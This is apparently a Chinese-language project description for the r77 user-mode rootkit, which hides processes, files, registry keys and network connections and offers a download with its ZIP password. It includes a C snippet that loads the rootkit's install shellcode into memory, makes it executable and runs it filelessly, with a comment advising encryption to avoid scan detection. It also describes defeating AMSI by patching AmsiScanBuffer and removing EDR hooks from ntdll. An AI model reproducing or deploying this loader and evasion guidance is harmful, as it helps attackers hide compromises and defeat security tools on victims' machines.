r77 是一个 ring 3 的 Rootkit,可以隐藏一切:
所有以 "$77" 开头的内容都会被隐藏。

动态配置系统允许根据 PID 和 名称 隐藏进程,根据 完整路径 隐藏文件系统项,隐藏特定端口的 TCP 和 UDP 连接等。

配置位于 HKEY_LOCAL_MACHINE\SOFTWARE\$77config,任何进程无需提升权限即可写入。该键的 DACL 设置为授予任何用户完全访问权限。
此外,$77config 键被 Rootkit 隐藏。
部署 r77 只需要一个文件:Install.exe。执行它会在系统上持久化 r77 并注入所有正在运行的进程。
Uninstall.exe 会干净彻底地从系统中移除 r77。
Install.shellcode 是安装程序的 shellcode 等效文件。这样,无需释放 Install.exe 即可集成安装。只需将 shellcode 加载到内存中,转换为函数指针并执行:
int main()
{
// 1. Load Install.shellcode from resources or from a BYTE[]
// Ideally, encrypt the file and decrypt it here to avoid scantime detection.
LPBYTE shellCode = ...
// 2. Make the shellcode RWX.
DWORD oldProtect;
VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// 3. Cast the buffer to a function pointer and execute it.
((void(*)())shellCode)();
// This is the fileless equivalent to executing Install.exe.
return 0;
}
Rootkit 驻留在系统内存中,不向磁盘写入任何文件。这是通过多个阶段实现的。
此图显示了从执行安装程序到 Rootkit DLL 在每个进程中运行的每个阶段。文档 中有一章详细介绍了每个阶段的实现。

使用了多种 AV 和 EDR 逃避技术:
amsi.dll!AmsiScanBuffer 使其始终返回 AMSI_RESULT_CLEAN 来禁用 AMSI。使用多态性来规避对 AMSI 绕过的签名检测。ntdll.dll 监控 API 调用,因此需要通过从磁盘加载全新的 ntdll.dll 副本并恢复原始节来移除这些钩子。否则,进程注入会被检测到。测试控制台是一个有用的工具,可以将 r77 注入到单个进程中,并试驾配置系统。

请阅读 技术文档 以全面了解 r77 及其内部原理,以及如何部署和集成它。
r77 Rootkit 1.8.2.zip
(ZIP 密码: bytecode77)
技术文档